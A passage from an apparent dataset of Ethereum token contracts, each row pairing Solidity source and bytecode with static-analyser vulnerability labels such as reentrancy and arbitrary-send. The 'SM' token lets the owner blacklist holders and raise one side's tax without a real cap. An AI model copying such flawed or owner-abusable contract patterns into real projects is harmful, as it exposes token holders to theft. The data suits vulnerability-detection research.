151801515811461098457600080fd5b60006020828403121561162e57600080fd5b5035919050565b60006020828403121561164757600080fd5b5051919050565b60008060006060848603121561166357600080fd5b8351925060208401519150604084015190509250925092565b60008060006060848603121561169157600080fd5b61169a8461143d565b92506116a86020850161143d565b91506116b66040850161143d565b90509250925092565b600060208083528351808285015260005b818110156116ec578581018301518582016040015282016116d0565b818111156116fe576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117995784516001600160a01b031683529383019391830191600101611774565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156117cd576117cd611845565b500190565b6000826117ef57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561180e5761180e611845565b500290565b60008282101561182557611825611845565b500390565b600060001982141561183e5761183e611845565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461063057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a5787270b94146dfffe8c15e19f5b54cd1379f119dabb2fadded5072b8913b564736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,183 |
0xf85953f59bcd58a35f5a8ac2b2bb07b6fa376d99 | pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract OysterShell {
// Public variables of SHL
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public director;
bool public directorLock;
uint256 public feeAmount;
uint256 public retentionMin;
uint256 public retentionMax;
// Array definitions
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public locked;
// ERC20 event
event Transfer(address indexed _from, address indexed _to, uint256 _value);
// ERC20 event
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed _from, uint256 _value);
// This notifies clients about an address getting locked
event Lock(address indexed _target, uint256 _value, uint256 _interval);
// This notifies clients about a claim being made on a locked address
event Claim(address indexed _target, address indexed _payout, address indexed _fee);
/**
* Constructor function
*
* Initializes contract
*/
function OysterShell() public {
director = msg.sender;
name = "Oyster Shell TEST";
symbol = "PRESHL";
decimals = 18;
directorLock = false;
totalSupply = 98592692;
// Assign total SHL supply to the director
balances[director] = totalSupply;
// SHL fee paid to brokers
feeAmount = 10;
// Maximum time for a sector to remain stored
retentionMin = 20;
// Maximum time for a sector to remain stored
retentionMax = 200;
}
/**
* ERC20 balance function
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
modifier onlyDirector {
// Director can lock themselves out to complete decentralization of Oyster network
// An alternative is that another smart contract could become the decentralized director
require(!directorLock);
// Only the director is permitted
require(msg.sender == director);
_;
}
modifier onlyDirectorForce {
// Only the director is permitted
require(msg.sender == director);
_;
}
/**
* Transfers the director to a new address
*/
function transferDirector(address newDirector) public onlyDirectorForce {
director = newDirector;
}
/**
* Withdraw funds from the contract
*/
function withdrawFunds() public onlyDirectorForce {
director.transfer(this.balance);
}
/**
* Permanently lock out the director to decentralize Oyster
* Invocation is discretionary because Oyster might be better suited to
* transition to an artificially intelligent smart contract director
*/
function selfLock() public payable onlyDirector {
// Prevents accidental lockout
require(msg.value == 10 ether);
// Permanently lock out the director
directorLock = true;
}
/**
* Director can alter the broker fee rate
*/
function amendFee(uint256 feeAmountSet) public onlyDirector returns (bool success) {
feeAmount = feeAmountSet;
return true;
}
/**
* Director can alter the maximum time of storage retention
*/
function amendRetention(uint256 retentionMinSet, uint256 retentionMaxSet) public onlyDirector returns (bool success) {
// Set retentionMin
retentionMin = retentionMinSet;
// Set retentionMax
retentionMax = retentionMaxSet;
return true;
}
/**
* Oyster Protocol Function
* More information at https://oyster.ws/OysterWhitepaper.pdf
*
* Lock an address
*
* When an address is locked; only claimAmount can be withdrawn once per epoch
*/
function lock(uint256 interval) public returns (bool success) {
// The address must be previously unlocked
require(locked[msg.sender] == 0);
// An address must have at least retentionMin to be locked
require(balances[msg.sender] >= retentionMin);
// Prevent addresses with large balances from getting buried
require(balances[msg.sender] <= retentionMax);
// Set locked state to true
locked[msg.sender] = interval;
// Execute an event reflecting the change
Lock(msg.sender, balances[msg.sender], interval);
return true;
}
/**
* Oyster Protocol Function
* More information at https://oyster.ws/OysterWhitepaper.pdf
*
* Claim all SHL from a locked address
*
* If a prior claim wasn't made during the current epoch, then claimAmount can be withdrawn
*
* @param _payout the address of the website owner
* @param _fee the address of the broker node
*/
function claim(address _payout, address _fee) public returns (bool success) {
// The claimed address must have already been locked
require(locked[msg.sender] >= block.timestamp);
// The payout and fee addresses must be different
require(_payout != _fee);
// The claimed address cannot pay itself
require(msg.sender != _payout);
// The claimed address cannot pay itself
require(msg.sender != _fee);
// Check if the locked address has enough
require(balances[msg.sender] >= retentionMin);
// Save this for an assertion in the future
uint256 previousBalances = balances[msg.sender] + balances[_payout] + balances[_fee];
// Calculate amount to be paid to _payout
uint256 payAmount = balances[msg.sender] - feeAmount;
// Remove claimAmount from the buried address
balances[msg.sender] = 0;
// Pay the website owner that invoked the web node that found the PRL seed key
balances[_payout] += payAmount;
// Pay the broker node that unlocked the PRL
balances[_fee] += feeAmount;
// Execute events to reflect the changes
Claim(msg.sender, _payout, _fee);
Transfer(msg.sender, _payout, payAmount);
Transfer(msg.sender, _fee, feeAmount);
// Failsafe logic that should never be false
assert(balances[msg.sender] + balances[_payout] + balances[_fee] == previousBalances);
return true;
}
/**
* Crowdsale function
*/
function () public payable {
// Prevent ETH from getting sent to contract
require(false);
}
/**
* Internal transfer, can be called by this contract only
*/
function _transfer(address _from, address _to, uint _value) internal {
// Sending addresses cannot be locked
require(locked[_from] == 0);
// If the receiving address is locked, it cannot exceed retentionMax
if (locked[_to] > 0) {
require(balances[_to] + _value <= retentionMax);
}
// Prevent transfer to 0x0 address, use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balances[_from] + balances[_to];
// Subtract from the sender
balances[_from] -= _value;
// Add the same to the recipient
balances[_to] += _value;
Transfer(_from, _to, _value);
// Failsafe logic that should never be false
assert(balances[_from] + balances[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to the address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from the address of the sender
* @param _to the address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
// Check allowance
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender the address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
// Locked addresses cannot be approved
require(locked[msg.sender] == 0);
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender the address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
// Buried addresses cannot be burnt
require(locked[msg.sender] == 0);
// Check if the sender has enough
require(balances[msg.sender] >= _value);
// Subtract from the sender
balances[msg.sender] -= _value;
// Updates totalSupply
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
// Buried addresses cannot be burnt
require(locked[_from] == 0);
// Check if the targeted balance is enough
require(balances[_from] >= _value);
// Check allowance
require(_value <= allowance[_from][msg.sender]);
// Subtract from the targeted balance
balances[_from] -= _value;
// Subtract from the sender's allowance
allowance[_from][msg.sender] -= _value;
// Update totalSupply
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 0x6060604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166303bc6d0d811461015a57806306fdde0314610184578063095ea7b31461020e57806318160ddd1461023057806321c0b3421461025557806322bb4f531461027a57806323b872dd1461028d57806324600fc3146102b557806327e235e3146102c8578063313ce567146102e757806342966c68146103105780635af82abf1461032657806369e154041461035557806370a082311461036857806379cc67901461038757806395d89b41146103a9578063a9059cbb146103bc578063ba3d0cb5146103de578063cae9ca51146103f1578063cbf9fe5f14610456578063d1e7e81f14610475578063d274fa911461047d578063dd46706414610496578063dd62ed3e146104ac578063ddd41ef6146104d1578063ffe2d77e146104f0575b600080fd5b005b341561016557600080fd5b610170600435610503565b604051901515815260200160405180910390f35b341561018f57600080fd5b610197610541565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d35780820151838201526020016101bb565b50505050905090810190601f1680156102005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021957600080fd5b610170600160a060020a03600435166024356105df565b341561023b57600080fd5b61024361066b565b60405190815260200160405180910390f35b341561026057600080fd5b610170600160a060020a0360043581169060243516610671565b341561028557600080fd5b61024361087b565b341561029857600080fd5b610170600160a060020a0360043581169060243516604435610881565b34156102c057600080fd5b6101586108f8565b34156102d357600080fd5b610243600160a060020a036004351661094e565b34156102f257600080fd5b6102fa610960565b60405160ff909116815260200160405180910390f35b341561031b57600080fd5b610170600435610969565b341561033157600080fd5b610339610a17565b604051600160a060020a03909116815260200160405180910390f35b341561036057600080fd5b610243610a26565b341561037357600080fd5b610243600160a060020a0360043516610a2c565b341561039257600080fd5b610170600160a060020a0360043516602435610a47565b34156103b457600080fd5b610197610b46565b34156103c757600080fd5b610158600160a060020a0360043516602435610bb1565b34156103e957600080fd5b610243610bc0565b34156103fc57600080fd5b61017060048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bc695505050505050565b341561046157600080fd5b610243600160a060020a0360043516610cf8565b610158610d0a565b341561048857600080fd5b610170600435602435610d76565b34156104a157600080fd5b610170600435610dba565b34156104b757600080fd5b610243600160a060020a0360043581169060243516610e94565b34156104dc57600080fd5b610158600160a060020a0360043516610eb1565b34156104fb57600080fd5b610170610efb565b60045460009060a060020a900460ff161561051d57600080fd5b60045433600160a060020a0390811691161461053857600080fd5b50600555600190565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d75780601f106105ac576101008083540402835291602001916105d7565b820191906000526020600020905b8154815290600101906020018083116105ba57829003601f168201915b505050505081565b600160a060020a0333166000908152600a60205260408120541561060257600080fd5b600160a060020a03338116600081815260096020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035481565b600160a060020a0333166000908152600a6020526040812054819081904290101561069b57600080fd5b600160a060020a0385811690851614156106b457600080fd5b84600160a060020a031633600160a060020a0316141515156106d557600080fd5b83600160a060020a031633600160a060020a0316141515156106f657600080fd5b600654600160a060020a033316600090815260086020526040902054101561071d57600080fd5b5050600160a060020a038083166000818152600860205260408082208054888616808552838520805433909816808752858720805460058054928a9055845492820392830190945592549789905285549097019094559096010194929392917fcac3ed26c9dd72a2c44999857298af9c72ba2d1ca9784f5dad48c933e2224c11905160405180910390a484600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a383600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405190815260200160405180910390a3600160a060020a038085166000908152600860205260408082205488841683528183205433909416835291205490910101821461087057fe5b506001949350505050565b60075481565b600160a060020a038084166000908152600960209081526040808320339094168352929052908120548211156108b657600080fd5b600160a060020a03808516600090815260096020908152604080832033909416835292905220805483900390556108ee848484610f0b565b5060019392505050565b60045433600160a060020a0390811691161461091357600080fd5b600454600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561094c57600080fd5b565b60086020526000908152604090205481565b60025460ff1681565b600160a060020a0333166000908152600a60205260408120541561098c57600080fd5b600160a060020a033316600090815260086020526040902054829010156109b257600080fd5b600160a060020a03331660008181526008602052604090819020805485900390556003805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b600454600160a060020a031681565b60055481565b600160a060020a031660009081526008602052604090205490565b600160a060020a0382166000908152600a602052604081205415610a6a57600080fd5b600160a060020a03831660009081526008602052604090205482901015610a9057600080fd5b600160a060020a0380841660009081526009602090815260408083203390941683529290522054821115610ac357600080fd5b600160a060020a038084166000818152600860209081526040808320805488900390556009825280832033909516835293905282902080548590039055600380548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105d75780601f106105ac576101008083540402835291602001916105d7565b610bbc338383610f0b565b5050565b60065481565b600083610bd381856105df565b15610cf05780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c89578082015183820152602001610c71565b50505050905090810190601f168015610cb65780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610cd757600080fd5b6102c65a03f11515610ce857600080fd5b505050600191505b509392505050565b600a6020526000908152604090205481565b60045460a060020a900460ff1615610d2157600080fd5b60045433600160a060020a03908116911614610d3c57600080fd5b678ac7230489e800003414610d5057600080fd5b6004805474ff0000000000000000000000000000000000000000191660a060020a179055565b60045460009060a060020a900460ff1615610d9057600080fd5b60045433600160a060020a03908116911614610dab57600080fd5b50600691909155600755600190565b600160a060020a0333166000908152600a602052604081205415610ddd57600080fd5b600654600160a060020a0333166000908152600860205260409020541015610e0457600080fd5b600754600160a060020a0333166000908152600860205260409020541115610e2b57600080fd5b600160a060020a0333166000818152600a60209081526040808320869055600890915290819020547f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b9185905191825260208201526040908101905180910390a2506001919050565b600960209081526000928352604080842090915290825290205481565b60045433600160a060020a03908116911614610ecc57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60045460a060020a900460ff1681565b600160a060020a0383166000908152600a602052604081205415610f2e57600080fd5b600160a060020a0383166000908152600a60205260408120541115610f7657600754600160a060020a03841660009081526008602052604090205483011115610f7657600080fd5b600160a060020a0383161515610f8b57600080fd5b600160a060020a03841660009081526008602052604090205482901015610fb157600080fd5b600160a060020a03831660009081526008602052604090205482810111610fd757600080fd5b50600160a060020a0380831660008181526008602052604080822080549488168084528284208054888103909155938590528154870190915591909301927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a0380841660009081526008602052604080822054928716825290205401811461107457fe5b505050505600a165627a7a72305820ad1a5b8786912893317c30e7c31b3e86d36955c4caaf2ebe7e4b4b06c1b719f30029 | {"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 1,184 |
0xb5f31a4de9387bc8e00de75e0bf0034e642c5123 | // SPDX-License-Identifier: Unlicensed
// $SM
// Sending to the moon
// Stealth Launch
// LP will be burned
// CA will be renounced
// 3% Buy Tax / 3% Sell Tax
// Enjoy this better and faster play 🌕
// https://sendingtothemoon.com
// https://t.me/sendingtomoon
// https://twitter.com/sendingtomoon
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SM is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sending to the Moon";
string private constant _symbol = "SM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 3;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 3;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private _removeTxLimit = false;
uint256 public _maxTxAmount = 20000000 * 10**9;
uint256 public _maxWalletSize = 40000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
if(!_removeTxLimit){
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(!_removeTxLimit){
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy <= 5|| taxFeeOnSell <= 5 );
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount , uint256 maxWalletSize) external onlyOwner {
require(maxTxAmount > 5000000 * 10**9 );
_maxTxAmount = maxTxAmount;
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
function setRemoveTxLimit(bool enable) external onlyOwner{
_removeTxLimit = enable;
}
